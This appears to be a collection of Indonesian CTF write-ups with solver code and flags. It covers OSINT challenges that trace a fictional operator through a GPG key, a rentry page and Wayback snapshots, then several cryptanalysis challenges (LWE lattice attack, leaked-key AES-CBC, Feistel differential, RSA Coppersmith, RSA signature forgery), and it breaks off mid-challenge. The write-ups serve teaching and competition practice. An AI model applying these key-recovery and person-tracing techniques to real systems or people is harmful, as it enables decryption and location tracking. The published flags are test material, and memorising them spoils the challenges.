Setelah menyelidiki jejak **Dimas Wirawan** di NetMetrics, tim forensik menemukan salinan repositori investigasi (investigation.zip). Di dalamnya hanya ada catatan audit sistem yang **ditandatangani secara digital** sebelum ia mengundurkan diri mendadak. Ia diduga operator inti sindikat **Velox Phantom** yang sedang dievakuasi ke safehouse rahasia.

Tugas: lacak **identitas digital di balik tanda tangan**, lalu temukan **nama tempat persembunyian terakhir** operator sebelum ia memutuskan kontak sepenuhnya.

Format: NFX{nama_tempat} — huruf kecil semua, spasi → _.

Langkah Penyelesaian

1. Bongkar investigation.zip

unzip investigation.zip -d ghost
cd ghost/investigation

Isi repo Git:

IR_MEMO.md
.git/

IR_MEMO.md:

Incident Response Audit Memo - NetMetrics Internal
Auditor: SecOps
Operator: Dimas Wirawan
Status: RESIGNED
Audit signed with official GPG key.

Repo hanya berisi 1 commit yang **ditandatangani GPG**:

git log --show-signature -1

commit d2627a7e85c19332bf5d36081ac2e05577a2cdba
gpg: Signature made Mon 26 Oct 2026 ...
gpg: using RSA key B17171D40DE252F193E79707E6BE71CA2BD84A4E
gpg: Can't check signature: No public key

Author: Dimas Wirawan <dimas.wirawan@netmetrics-net.example>
Date: Mon Oct 26 01:48:52 2026 +0700
    audit: final system integrity verification before handoff

.git/config juga menyimpan signingkey = E6BE71CA2BD84A4E.

Pemeriksaan menyeluruh memastikan tidak ada data lain: tidak ada dangling commit/branch/tag, git fsck bersih, dan 3 objek Git hanya commit + tree + blob IR_MEMO.md. Perbedaan 151 vs 146 byte hanyalah **CRLF vs LF**, bukan payload.

2. Lacak identitas digital: GPG key → ketemu rentry

Cari kunci publik berdasarkan fingerprint/key ID di keyserver:

```
curl -s "https://keyserver.ubuntu.com/pks/lookup?op=get&search=0xE6BE71CA2BD84A4E" -o key.asc
gpg --show-keys --with-fingerprint key.asc
```

UID pada kunci publik:

Dimas Wirawan (rentry.co/ghost-route-0914) <ghost.operator.rentry@veloxphantom.net>

> Catatan: gpg --list-packets pada key dan signature menunjukkan **tidak ada** notation data, comment, subkey, maupun photo attribute — jadi satu-satunya jejak memang UID yang menunjuk ke rentry.co/ghost-route-0914. Kunci hanya ada di keyserver.ubuntu.com (tidak ada UID tambahan di keyserver lain).

3. Buka rentry — node sudah dihapus

https://rentry.co/ghost-route-0914 live hanya menampilkan:

[NODE DECOMMISSIONED - TRACES PURGED BY OPERATOR]

Status: Content shredded using DoD 5220.22-M sanitization.
All operational field notes have been wiped from this relay node.

Di **source HTML** ada satu komentar tersembunyi (deliberate, bukan template rentry — halaman rentry lain tidak memilikinya):

<!-- Hilltop -->

/raw dan /edit dikunci SECRET_RAW_ACCESS_CODE, jadi isi asli harus diambil dari arsip.

4. Pulihkan isi asli dari Wayback Machine

```
curl "http://archive.org/wayback/available?url=rentry.co/ghost-route-0914"
# snapshot: 20261025190602 (sebelum dihapus)
```

Ambil snapshot /edit (menyimpan markdown asli) / halaman utama:

curl -s "https://web.archive.org/web/20261025190612id_/https://rentry.co/ghost-route-0914/edit"

Isi transmisi asli:

[BURST TRANSMISSION - 0914]
Operator: Dimas W. (Ghost Operator)
Status: CODE ORANGE - OPERATIONAL EVACUATION

Evacuation Log & Route Clues
NetMetrics IR team sudah mulai sniffing outbound TLS connections ke Velox gateway.
Laptop dan hard drive kantor sudah diserahkan tanpa jejak fisik (firmware sanitized).

Rute Pelarian Menuju Safehouse:
* Keluar dari Jakarta via Tol Cipularang menuju arah Bandung Barat.
* Exit Pasteur, potong rute via Jl. Sersan Bajuri ke arah utara (Parongpong - Lembang)
  untuk menghindari pemantauan kamera ETLE di jalur arteri utama.
* Lokasi safehouse: Komplek villa pegunungan di kaki Gunung Burangrang, sepanjang
  Jl. Kolonel Masturi KM 9, Parongpong, kawasan Lembang.
* Area pegunungan dingin berkabut dengan arsitektur villa berhiaskan taman bunga tematik.
  Sinyal seluler teredam lembah, aman dari pelacakan BTS.
* Komplek villa ini dikenal sebagai salah satu penginapan/komplek villa terbesar
  di Parongpong-Lembang.

Menunggu instruksi lanjutan via dead-drop GPG radio.
// Velox Ghost Operator

5. Identifikasi nama tempat dari deskripsi

Petunjuk kunci dari transmisi:

- **Jl. Kolonel Masturi KM 9, Parongpong, kawasan Lembang**
- **di kaki Gunung Burangrang** (sebelah Gunung Tangkuban Perahu)
- **komplek villa terbesar di Lembang**, luas ±42 hektar
- **arsitektur villa berhiaskan taman bunga tematik** (“Istana Bunga” = Flower Palace)

Semua ciri ini mengarah ke satu kompleks villa yang sangat dikenal:

> **Villa Istana Bunga (VIB)**, Jl. Kolonel Masturi KM 9, Parongpong, Cisarua, **Lembang**, Bandung Barat — *"Komplek Villa Terbesar di Lembang"*, seluas ±42 hektar, berada di bawah kaki Gunung Tangkuban Perahu yang bersebelahan dengan Gunung Burangrang.

Karena lokasinya berada di kawasan **Lembang**, nama tempat lengkap yang diminta adalah **Villa Istana Bunga Lembang**.

> Catatan: komentar <!-- Hilltop --> adalah decoy/penunjuk agar mencari versi arsip (“puncak”/versi sebelum dihapus). Tidak ada tempat bernama “Hilltop” di sekitar kompleks (dicek via Overpass/Nominatim: nihil).

6. Susun flag

Villa Istana Bunga Lembang → huruf kecil, spasi → underscore:

NFX{villa_istana_bunga_lembang}

Ringkasan Bukti

Tahap	**Temuan**
investigation.zip	Repo Git, 1 commit bertanda tangan GPG
.git/config	signingkey = E6BE71CA2BD84A4E
Fingerprint	B17171D40DE252F193E79707E6BE71CA2BD84A4E
UID kunci	Dimas Wirawan (rentry.co/ghost-route-0914)
Rentry live	Decommissioned + komentar tersembunyi <!-- Hilltop -->
Wayback 2026-10-25	“BURST TRANSMISSION - 0914”: rute evakuasi + lokasi safehouse
Lokasi	Komplek villa Jl. Kolonel Masturi KM 9, Parongpong, Lembang, kaki Gunung Burangrang
Nama tempat	**Villa Istana Bunga Lembang** (VIB)

Flag

NFX{villa_istana_bunga_lembang}

Tools / Sumber

- unzip, git, gpg
- keyserver.ubuntu.com
- rentry.co
- web.archive.org (Wayback Machine)
- Sumber deskripsi tempat: penginapan.net / villalembang09.com / vilaair.com (Villa Istana Bunga, Lembang)

Fresh Arrival (Medium)

- **Kategori:** OSINT
- **Sumber publik:** https://www.jetphotos.com/photo/11925184
- **Flag:** NFX{XW_CXH_beijing_raihan}

Deskripsi

Sebuah foto pesawat kargo beredar tanpa keterangan. Foto diambil di Jakarta akhir November 2025, kurang dari sebulan setelah pesawat bergabung dengan maskapai yang tertera di badannya. Usia airframe lebih dari tiga dekade dan pernah dioperasikan beberapa maskapai di negara lain.

Tugas:

1. Temukan fotografer asli foto.
2. Telusuri riwayat airframe dan temukan operator **pertama** yang menerimanya sejak dikirim dari pabrik.

Format flag: NFX{IATA_ICAO_kota_namadepan} (huruf kecil, dipisah underscore).

Langkah Penyelesaian

1. Analisis awal foto

File spotted(1).jpg berukuran 400x225 (rasio 16:9), metadata EXIF sudah bersih (hanya profil sRGB bawaan, tidak ada data kamera/lokasi). Dari visual tampak pesawat twin-engine dengan livery mosaik warna-warni di bagian belakang dan tulisan registrasi PK-... di hidung. Registrasi Indonesia mengindikasikan operator lokal.

2. Identifikasi via sumber publik

Petunjuk sumber langsung mengarah ke JetPhotos foto **#11925184**. Halaman tersebut (diakses via browser, karena proteksi Cloudflare) menampilkan data:

Field	**Nilai**
Registration	**PK-ADL**
Aircraft	**Boeing 737-341(SF)**
Serial # (MSN)	**26854**
Airline	**Aero Nusantara Cargo**
Photo Date	26 Nov 2025
Location	Jakarta Halim Perdanakusuma (WIHH)
Photographer	**Raihan Al Faris**
Badge	*First registration*

Dengan mengunduh gambar utama (1280x869) dari CDN JetPhotos dan membandingkannya dengan spotted(1).jpg, terlihat keduanya adalah **scene identik** (foto sama, hanya di-crop ke 16:9). Jadi foto chall ini benar-benar foto karya **Raihan Al Faris** → nama depan = **raihan**.

3. Cek konsistensi deskripsi

- Diambil di Jakarta: cocok (Halim Perdanakusuma, WIHH).
- Akhir November 2025: cocok (26 Nov 2025).
- Kurang dari sebulan setelah bergabung: Planespotters mencatat Aero Nusantara Cargo menerima 737 ini pada **Nov 2025**, *entered into service 8 Nov 2025*.
- Usia 30+ tahun: MSN 26854, *age 34.5 years*.

4. Telusuri riwayat airframe

Sumber riwayat: Planespotters.net, halaman airframe boeing-737-300-pk-adl-aero-nusantara-cargo (MSN 26854, line number 2303, production site Renton).

Reg	**Tipe**	**Operator**	**Delivered**	**Keterangan**
PP-VPV	737-300	Varig	—	**ntu** (not taken up)
B-2908	737-300	**China Xinhua Airlines**	**Apr 1993**	operator pertama (dari pabrik)
B-2908	737-300(F)	Yangtze River Express	Apr 2010	konversi freighter Mar 2010
B-2908	737-300(F)	Suparna Airlines	Jul 2017	wfu/std di PVG 2018–2020
B-2908	737-300(F)	Central Airlines	Apr 2021	std di CGK Okt–Nov 2025
PK-ADL	737-300(F)	Aero Nusantara Cargo	Nov 2025	masuk service 8 Nov 2025

Catatan penting: baris **Varig (PP-VPV)** berstatus **ntu / not taken up** — pesawat tidak pernah benar-benar diterima Varig. Maka **operator pertama yang menerima pesawat sejak dikirim dari pabrik adalah China Xinhua Airlines (April 1993)**.

5. Ambil kode IATA/ICAO dan kota markas operator pertama

China Xinhua Airlines (中国新华航空), berdiri 1992, merger ke Grand China Air pada 29 Nov 2007.

Dikonfirmasi silang dari beberapa sumber (Wikipedia EN/ID/ZH artikel maskapai + halaman maskapai Planespotters):

Atribut	**Nilai**
IATA	**XW**

Atribut	Nilai
ICAO	**CXH**
Callsign	XINHUA
Headquarters	**Beijing** (北京), China
Basis	Beijing Capital International Airport (PEK)

> Catatan: halaman "List of airline codes" sempat menampilkan XO, namun artikel maskapai (EN/ID/ZH) dan Planespotters konsisten menyebut **XW**. XO tertukar dengan maskapai lain. Nilai yang dipakai: **XW**.

6. Susun flag

Format NFX{IATA_ICAO_kota_namadepan}:

- IATA: XW → xw
- ICAO: CXH → cxh
- Kota markas operator pertama: Beijing → beijing
- Nama depan fotografer: Raihan → raihan

NFX{XW_CXH_beijing_raihan}

Ringkasan Bukti

- **Foto:** JetPhotos #11925184 — PK-ADL, Boeing 737-341(SF), Aero Nusantara Cargo, Jakarta Halim, 26 Nov 2025 — oleh **Raihan Al Faris**.
- **MSN:** 26854 (line 2303), dibuat untuk Varig (PP-VPV, ntu), **dikirim ke China Xinhua Airlines Apr 1993**.
- **Operator pertama:** China Xinhua Airlines — IATA **XW**, ICAO **CXH**, markas **Beijing**.
- **Flag:** NFX{XW_CXH_beijing_raihan}

Tools / Sumber

- JetPhotos (halaman foto & CDN image)
- Planespotters.net (airframe & airline database)
- Wikipedia EN / ID / ZH (China Xinhua Airlines)

CRYPTO

Cihuyyyyyyyyyyyyyyy LWE sikit ahhhh (Medium)

Platform: ctf.nfx.my.id
Kategori: Crypto
Level: Medium
Flag: NFXCTF{l4tt1c3_sm4ll_s3cr3t_LWE_7e2a0195}

Deskripsi

> Vendor ini baru aja minggu lalu rilis key exchange "post-quantum" andalannya, terus ngomong gede: "Yang ini mah mustahil dibobol, bro!" Eh, transkripnya malah berhasil kesadap dong, dan flag-nya ikut keenkripsi di sana. Semua datanya ada di file yang dikasih.

File yang diberikan: lwe.py, berisi

Variabel	Isi
q = 257	modulus
n = 40	dimensi secret
m = 64	jumlah sampel
A	matriks 64 x 40 (mod q)
b	vektor 64 elemen
ct	ciphertext hex, 41 byte

Analisis

Strukturnya klasik **Learning With Errors**:

$$b = A \cdot s + e \pmod{257}$$

dengan s secret (40 elemen) dan e error kecil (64 elemen). ct adalah flag yang dienkripsi dengan kunci turunan dari s, jadi tugasnya: **recover s**, lalu cari tahu cara ct dienkripsi.

Kenapa "mustahil dibobol" itu bohong? Parameternya kecil banget:

- n = 40 itu sangat rendah (LWE yang aman butuh n ratusan).
- q = 257 kecil, dan m = 64 cukup banyak sampel.
- Secret dan error ternyata sangat kecil (terlihat nanti), sehingga ada vektor yang jauh lebih pendek dari vektor acak di kisi.

Dengan parameter segini, **primal attack (embedding Kannan + lattice reduction)** praktis.

Serangan: primal embedding

1. Bentuk kisi q-ary. Kisi L = { A·s mod q } berdimensi 64. Caranya: Gauss-eliminasi A^T (mod q) sampai bentuk [I | M], lalu tambahkan q·e_j untuk kolom non-pivot. Hasilnya basis 64 x 64.

2. Embedding. Tambahkan satu baris (b, 1). Basis jadi 65 x 65. Di kisi ini ada vektor pendek

```
(b - A·s, 1) = (e, 1)
```

yang norma-nya sekitar 10, sementara perkiraan Gaussian heuristic untuk vektor terpendek kisi acak seukuran ini sekitar 16 ke atas. Jadi (e, 1) adalah unique-SVP.

3. Reduksi basis. Environment tidak punya fpylll/fplll/Sage dan pip dimatikan. Jadi saya buat sendiri:

- LLL (numpy) sebagai pemanasan. Hasil: vektor terpendek masih sekitar 24-31, error belum kelihatan. Babai langsung di basis LLL juga gagal (ekor GSO masih 2.6, terlalu besar untuk menyelesaikan error).
- BKZ dengan enumerasi Schnorr-Euchner ditulis dalam **C++** (bkz.cpp), dengan pruning linear sederhana.

Progres norma vektor terpendek:

Tahap	**Norma terpendek**
LLL	~24
BKZ beta=12	20.2
BKZ beta=20	17.7
BKZ beta=28 (pruning 1.6)	**10.2** (stabil)

Pada BKZ beta=28 tour ke-2, muncul vektor dengan koordinat terakhir ±1 dan norma 10.2, jauh lebih pendek dari yang lain. Itu kandidat (e, 1).

4. Ekstrak e lalu s.

```
e = [-2,-1,0,-2,-1,1,0,1,-1,-1,2,1,2,1,2,1,1,1,-2,1,2,-2,2,2,0,1,1,0,-1,1,1,0,
    -1,0,2,-2,0,0,0,1,1,1,2,1,0,1,2,0,-1,-2,1,-1,2,1,0,0,0,-1,0,2,1,-1,2,1]
```

Semua elemen e berada di [-2, 2]. Lalu selesaikan A·s = b - e (mod 257):

- rank A = 40
- 24 persamaan sisanya **semuanya konsisten** (tidak ada yang bertentangan)

Ini bukti kuat bahwa e yang ditemukan benar. Hasilnya:

```
s = [1,0,256,1,0,0,0,256,1,1,0,1,0,256,0,1,0,256,0,1,256,1,256,0,0,1,256,256,256,0,1,0,
    256,0,0,256,256,1,1,256]
```

Perhatikan: 256 ≡ -1 (mod 257), jadi **secret-nya ternary** ({-1, 0, 1}). Itulah sebabnya serangan lattice berhasil mudah: secret dan error sama-sama kecil.

Dekripsi ct

ct panjangnya 41 byte, bukan kelipatan blok AES, jadi kemungkinan besar stream cipher / XOR dengan keystream turunan hash dari s. Saya brute-force kombinasi kecil:

- encoding s: bytes mod 256, signed int8, string/JSON/CSV, uint16/32, dll.
- turunan keystream: hash langsung (md5, sha1, sha2, sha3, blake2, shake) maupun mode counter (H(key || ctr) dan H(ctr || key), counter big/little endian)
- filter: plaintext mengandung NFX atau seluruhnya printable

Satu-satunya kombinasi yang menghasilkan plaintext utuh:

```
key       = s sebagai int8 bertanda (-1, 0, 1 -> byte), 40 byte
keystream = SHA256(key || be32(0)) || SHA256(key || be32(1)) || ...  (cukup 2 blok untuk 41 byte)
flag      = ct XOR keystream
```

Counter little-endian hanya benar sebagian (32 byte pertama), sedangkan big-endian benar penuh, jadi itu yang dipakai.

Solver (ringkas)

Bagian recovery dan dekripsi, setelah basis embedding sudah direduksi BKZ (out28.txt):

```
import numpy as np, hashlib, struct, runpy

d = runpy.run_path('lwe.py')
q, n, m, A, b, ct = d['q'], d['n'], d['m'], d['A'], d['b'], bytes.fromhex(d['ct'])

# 1) ambil vektor embedding (e, +-1) dari basis hasil BKZ
R = np.loadtxt('out28.txt', dtype=np.int64)
row = next(r for r in R if abs(r[-1]) == 1 and np.linalg.norm(r) < 15)
e = row[:-1] * row[-1]

# 2) solve A s = b - e (mod q) dengan Gauss mod q
bb = [(b[i] - int(e[i])) % q for i in range(m)]
M = [[x % q for x in A[i]] + [bb[i]] for i in range(m)]
r = 0
for c in range(n):
    p = next(i for i in range(r, m) if M[i][c] % q)
    M[r], M[p] = M[p], M[r]
    iv = pow(M[r][c], -1, q)
    M[r] = [x * iv % q for x in M[r]]
    for i in range(m):
        if i != r and M[i][c]:
            f = M[i][c]
            M[i] = [(x - f * y) % q for x, y in zip(M[i], M[r])]
    r += 1
s = [M[i][n] for i in range(n)]
```

```
# 3) key = int8 bertanda, keystream = SHA256(key || be32(ctr))
sg = [x if x <= 1 else x - q for x in s]
key = struct.pack('40b', *sg)
ks = b''.join(hashlib.sha256(key + struct.pack('>I', c)).digest() for c in range(4))
print(bytes(x ^ y for x, y in zip(ct, ks)))
```

Output:

```
b'NFXCTF{l4tt1c3_sm4ll_s3cr3t_LWE_7e2a0195}'
```

Catatan

- Plaintext berawalan NFXCTF{, padahal format di soal NFX{}. Kalau submit ditolak, coba juga NFX{l4tt1c3_sm4ll_s3cr3t_LWE_7e2a0195}.
- Pelajaran: "post-quantum" tidak otomatis aman. LWE dengan n=40, q=257, secret ternary, dan error di [-2,2] jatuh ke primal attack dalam hitungan detik di laptop biasa. Parameter yang aman butuh n jauh lebih besar dan secret/error dari distribusi yang lebih lebar.
- Kunci keberhasilan di sini adalah **BKZ yang cukup kuat** (beta 28 dengan pruning). LLL biasa saja belum cukup memisahkan vektor error.

Referensi singkat

- Regev, *On Lattices, Learning with Errors, Random Linear Codes, and Cryptography* (2005)
- Kannan embedding / primal uSVP attack
- Schnorr-Euchner enumeration, BKZ

Static IV Offline — Cryptography (Medium)

- **Challenge:** Static IV Offline
- **Category:** Cryptography
- **Files:** output.txt, challenge.py
- **Vektor:** IV statis pada AES-CBC + MASTER bocor di source
- **Flag:** NXCTF{...}

Ringkasan Challenge

Diberikan:

- output.txt berisi ct_hex, iv_hex (aa × 16), counter, dan catatan bahwa key = SHA256(MASTER || counter).
- challenge.py yang membocorkan MASTER = b"\x13\x37" * 16 dan memperlihatkan cara enkripsi:

```
def get_key(counter):
    return hashlib.sha256(MASTER + counter.to_bytes(4, "little")).digest()[:32]

def encrypt_flag(flag, iv, counter):
    key = get_key(counter)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return cipher.encrypt(pad(PREFIX + b"|" + flag, 16))
```

Tujuan: pulihkan flag.

Analisis

Ada dua kelemahan yang disebut di judul/deskripsi:

1. **IV statis** (aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa). Jika key dipakai ulang untuk beberapa pesan, CBC dengan IV statis membuat blok pertama P1 ⊕IV sama untuk plaintext yang sama → pola bisa dideteksi. Namun di sini hanya ada satu ciphertext, jadi IV statis bukan vektor serangan utama.
2. **MASTER bocor di challenge.py.** Ini bug fatal: seluruh skema key derivation menjadi dapat dihitung ulang secara offline oleh siapa pun yang punya file challenge.

Karena MASTER dan counter diketahui (counter ada di output.txt), key AES-256 dapat diturunkan langsung:

```
key = SHA256(MASTER || counter_le32)[:32]
```

Setelah key diketahui, dekripsi AES-CBC dengan IV statis menjadi trivial — tidak perlu menyerang IV sama sekali. Inilah inti **"Static IV Offline"**: IV statis menjadi tidak relevan karena key sudah bocor, dan seluruh proses bisa dilakukan offline.

Langkah Eksploitasi

1. Baca output.txt, ambil ct_hex, iv_hex, counter.
2. Hitung key = SHA256(MASTER || counter.to_bytes(4, "little")).digest()[:32].
3. Dekripsi ct dengan AES-256-CBC memakai key dan IV.
4. Unpad PKCS#7.
5. Buang prefix PREFIX + b"|"; sisanya adalah flag.

Solver

```
import json
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

MASTER = b"\x13\x37" * 16
PREFIX = b"user-input-goes-here:"

data = json.load(open("output.txt"))
ct_hex = data["ct_hex"]
iv_hex = data["iv_hex"]
counter = data["counter"]

ct = bytes.fromhex(ct_hex)
iv = bytes.fromhex(iv_hex)

key = hashlib.sha256(MASTER + counter.to_bytes(4, "little")).digest()[:32]

pt = unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(ct), 16)

assert pt.startswith(PREFIX + b"|")
flag = pt[len(PREFIX) + 1:]
print(flag.decode())
```

Jalankan:

```
pip install pycryptodome
python3 solve.py
```

Output akhirnya berupa NXCTF{cbc_1v_r3u53_l34k5_k3y5tr34m_b0fbd4d35f80}

Mengapa Disebut "Static IV Offline"

- **Static IV:** IV tetap aa...aa, sehingga CBC tidak lagi *semantically secure* jika key dipakai berulang. Dalam skenario nyata, IV statis memungkinkan deteksi kesamaan blok pertama antar pesan, dan pada kasus tertentu (misalnya known plaintext di blok pertama) bisa membocorkan XOR plaintext.

- **Offline:** karena MASTER bocor di source, penyerang tidak perlu berinteraksi dengan server. Cukup challenge.py + output.txt, hitung key, dekripsi — semuanya offline.

Pelajaran

- **Jangan pernah hardcode/commit secret** (MASTER) ke source yang dibagikan. Gunakan environment variable atau secret manager.
- **IV harus acak per enkripsi** untuk CBC. IV statis membuka jalan ke berbagai serangan (BEAST, deteksi pola, known-plaintext XOR).
- **Key derivation harus memakai KDF yang tepat** (HKDF/PBKDF2) dengan salt, bukan SHA256(MASTER || counter).
- **Jangan pakai CBC tanpa authentication**; gunakan AES-GCM atau ChaCha20-Poly1305 agar integritas ciphertext terjamin.
- **Defense in depth:** bahkan jika IV salah, bocornya MASTER sendirian sudah cukup untuk menghancurkan seluruh skema. Setiap layer harus aman secara independen.

Feistel Differential — Cryptography (Medium)

- **Challenge:** Feistel Differential
- **Event:** NFX CTF
- **Category:** Cryptography
- **Folder:** Cryptography/Feistell Differential/
- **Flag:** NFXCTF{d1ff3r3nt14l_crypt0_pwn5_f31st3l_45322835}

Deskripsi

> Sebuah vendor logistik menggunakan cipher buatan sendiri untuk melindungi token gudangnya, dan mengklaim cipher tersebut aman untuk digunakan. Implementasi cipher, data yang tersedia, dan flag yang telah dienkripsi dapat ditemukan pada file lampiran. Buktikan apakah klaim keamanan tersebut benar.

Cipher

cipher.py:

- Block 32-bit, dibagi L/R 16-bit.
- **7 ronde Feistel**.
- Round function:

```
F(x, k) = permute(SBOX_nibble(x ^ k))
```

- SBOX 4-bit, permute menukar nibble: [n0,n1,n2,n3] -> [n1,n0,n3,n2].
- Key schedule: master 112-bit dipecah menjadi **7 subkey 16-bit independen**.

Kelemahan: Diferensial S-box

DDT S-box untuk input difference 0xa:

```
dx = 0xa -> output 0x5 dengan probabilitas 12/16 (0.75)
```

Karena permute hanya memindahkan nibble, perbedaan input 0x0000000a menyebar dengan karakteristik 7 ronde:

Setelah ronde	**ΔL**	**ΔR**	**Prob.**
1	000a	0050	0.75
2	0050	0000	0.375
3	0000	0050	0.375
4	0050	000a	0.1875
5	000a	0000	0.140625

Setelah ronde	ΔL	ΔR	Prob.
6	0000	000a	0.140625
7	000a	0050	**0.10546875**

Dengan ~20.000 pair valid, karakteristik ini muncul sekitar 2.100 kali — cukup untuk menandai kelemahan cipher.

Data

pairs.txt berisi 280.000 baris:

```
P  C(P)  C(P xor 0x0000000a)
```

Hanya **20.000 pair pertama** yang benar-benar valid untuk satu key; sisanya adalah **decoy**. Key yang benar memverifikasi 20.000/20.000 pair pertama dan hampir tidak ada di sisa file.

Key Recovery

Diferensial di atas dapat dipakai untuk memfilter pair dan mempersempit subkey ronde terakhir. Untuk mendapatkan seluruh 112-bit key, cipher dimodelkan ke **Z3** memakai 8 pair valid:

```
enc(P, subkeys)  == C1
enc(P^0xa, subkeys) == C2
```

Hasil:

```
subkeys = [0xa383, 0x3ab5, 0xd728, 0x7222, 0x9737, 0x7212, 0xfdec]
verify first 20000 = 20000
```

Solver: feistel_solve.py

Decrypt Flag

flag.enc adalah hex ciphertext 52 byte. Dekripsi per blok 4-byte **big-endian** dengan decrypt_block:

```
b'NFXCTF{d1ff3r3nt14l_crypt0_pwn5_f31st3l_45322835}\x03\x03\x03'
```

Padding PKCS#7 (0x03 x3) membuang 3 byte terakhir.

Flag

```
NFXCTF{d1ff3r3nt14l_crypt0_pwn5_f31st3l_45322835}
```

Pelajaran

- Cipher buatan sendiri dengan S-box kecil dan 7 ronde Feistel mudah diserang diferensial (DDT max 12/16 untuk 0xa).

- Data yang tampak besar bisa berisi mayoritas decoy; verifikasi key pada seluruh pair penting.
- SAT/SMT (Z3) sangat efektif untuk cipher custom berukuran kecil: 8 known pair cukup untuk recover 112-bit key.

RSA Coppersmith — Cryptography (Medium)

- **Challenge:** RSA Coppersmith (partial key exposure)
- **Event:** NFX CTF
- **Category:** Cryptography
- **Files:** chall.py, solve.py, sage.solve (di ~/Downloads/RSA-coppersmith/)
- **Flag:** NFXCTF{C0pp3rsm1th_p4rt14l_k3y_3xp0sur3_9617eda9}

Ringkasan

RSA 2048-bit dengan e = 65537 membocorkan **300 bit teratas dari faktor p**. Sisa bit p yang tidak diketahui hanya **212 bit**. Karena p | N dan bagian besar p sudah diketahui, p dapat direkonstruksi dengan **Coppersmith small-root / Howgrave-Graham** (univariate), lalu RSA didekripsi seperti biasa.

Data Challenge

Dari chall.py:

```
n =
0xE4ABA2D625FEC44D3984056BED4ED632B178E6F5B3893593E736111E9E91A7130F957FD76
C48D42724C3423F6D6D8132EF909A8E414E24F6ACE3BA2C0A8059C29BCE292055A9BF9B700
8E0788162B568691E85F52C24A9D904DDFFC6EF5DCB177D12243CFE449AB3638E5249124745
5C1DF12030975D469A933685CF0527421B
e = 65537
c =
0xC5DD7E48FF77FBC1D1AD1130550CDE5FDEC27CDF2D8A890370DEFA7605538EA82945462
297449AB9D0F8C01D0FF403283F0B4DA677389289F0D923FE6E24DD6B3AFA02F22534754C02
61C87EC7C0E488DC2A764DD327A1EA211AD1025EB231B7E856F4F66333A9FFC3A16189C47E
4DE39D55C9ED474AEEAF4F22B997EC706174

p_msb =
0xF13228781AB150BC402DF686354483D5FA1B226BB33DD3AD9E4D3011AC92AD2F2589B571
CA3
p_msb_bits = 300
unknown_bits = 212
```

Artinya:

```
p = (p_msb << 212) + x
```

dengan 0 <= x < 2^212 (x hanya 212 bit).

Analisis

- p membagi N.
- Bagian p yang diketahui: 300 bit teratas.

- Bagian yang tidak diketahui: 212 bit terbawah.
- Definisikan polinomial monic:

```
f(x) = (p_msb << 212) + x
```

Maka f(x0) ≡ 0 (mod p) untuk x0 yang benar, dengan p | N.

Karena x0 kecil (212 bit) dibanding modulus, ini adalah kasus **Coppersmith univariate small root** (partial key exposure). Implementasi memakai konstruksi **Howgrave-Graham**:

- Basis polinomial N^(m-i) * f(x)^i * x^j untuk i = 0..m-1, j = 0..d-1.
- Ditambah f(x)^m * x^i untuk i = 0..t-1.
- Substitusi x -> X*x dengan X = 2^212.
- Bentuk matriks koefisien, LLL-reduce, ambil vektor terpendek sebagai polinomial baru, cari akar integer x0.
- Verifikasi gcd(f(x0), N) > 1 → p.

Parameter yang berhasil di solver: m = 4, t = 4, beta = 0.5.

Solver

Solver utama ada di rsa_coppersmith_solve.py (turunan dari solve.py challenge). Inti langkahnya:

```
shift = 212
X = 1 << shift
f_coeffs = [p_msb << shift, 1]   # f(x) = p_msb*2^212 + x

x0 = coppersmith(f_coeffs, n, X, beta=0.5, m=4, t=4)
p = (p_msb << shift) + x0
q = n // p
d = pow(e, -1, (p - 1) * (q - 1))
pt = long_to_bytes(pow(c, d, n))
```

Jalankan:

```
python3 solve.py
```

Hasil

Output solver:

```
[*] m=4 t=4 -> x0=207991720440766731377874413740245988772278360568961280448192593
[+] plaintext: b'NFXCTF{C0pp3rsm1th_p4rt14l_k3y_3xp0sur3_9617eda9}'
[+] FLAG: NFXCTF{C0pp3rsm1th_p4rt14l_k3y_3xp0sur3_9617eda9}
```

x0 yang ditemukan:

```
207991720440766731377874413740245988772278360568961280448192593
```

Maka p = (p_msb << 212) + x0, q = N // p, dan plaintext RSA langsung didapat.

Flag

```
NFXCTF{C0pp3rsm1th_p4rt14l_k3y_3xp0sur3_9617eda9}
```

Pelajaran

- **Jangan bocorkan sebagian bit faktor prima RSA.** Partial key exposure dapat membuat RSA pecah total.
- Coppersmith/Howgrave-Graham efektif saat akar yang dicari jauh lebih kecil dari modulus; 212 bit unknown pada modulus 2048-bit berada di bawah bound praktis N^{beta^2} (dengan beta=0.5 ≈ 512 bit).
- Gunakan RSA-OAEP untuk enkripsi dan jangan mendesain skema yang membocorkan struktur faktor.
- Verifikasi hasil rekonstruksi dengan N % p == 0 sebelum dekripsi.

Broken Signature Scheme — Cryptography (Hard)

- **Challenge:** Broken Signature Scheme
- **Event:** NFX CTF
- **Category:** Cryptography
- **Files:** challenge.py, crypto.py, output.txt (di ~/Downloads/crypto/)
- **Flag:** NXCTF{mult1_l4y3r_l4tt1c3_r54_s1gn4tur3_hnp_8c211ad6b5a6}

Ringkasan

Challenge terdiri dari tiga lapisan:

1. **RSA multiplicative signature forgery** — tanda tangan RSA tanpa hash/padding bersifat multiplikatif.
2. **Faktorisasi close primes** — q = nextprime(p + 2^300) dan ada leak 20 bit tengah p.
3. **AES-GCM** — key = SHA256(long_to_bytes(p) || long_to_bytes(q)).

Ketiga lapisan dirangkai di crypto.py dan menghasilkan flag.

Layer 1 — RSA Multiplicative Forgery

Skema:

```
sig(m) = m^d mod N
```

Karena tidak ada padding/hash (identity), berlaku:

```
sig(a) * sig(b) ≡ sig(a*b) (mod N)
```

output.txt memberi 6 pasangan message/signature valid dan target:

```
target_msg_hex = 676976652d6d652d7468652d666c6167
target         = b"give-me-the-flag"
```

crypto.py mencari kombinasi eksponen {0,1,2} sehingga:

```
∏ m_i^c_i = target * ∏ m_j^c_j
```

Hasil:

```
assign = (1, 1, 1, 0, 0, 0)
```

Artinya:

```
target = m0 * m1 * m2
```

Maka signature target dapat dipalsukan:

```
sigT = s0 * s1 * s2 % N
assert pow(sigT, e, N) == target % N
```

crypto.py juga mendukung eksponen 2 dengan mengalikan inverse signature, tetapi pada challenge ini cukup perkalian tiga signature valid.

Layer 2 — Faktorisasi N dari Close Primes

RSA memakai:

```
q = nextprime(p + 2^300)
```

Sehingga:

```
delta = q - p = 2^300 + g
```

dengan g kecil. output.txt juga membocorkan **20 bit tengah p**:

```
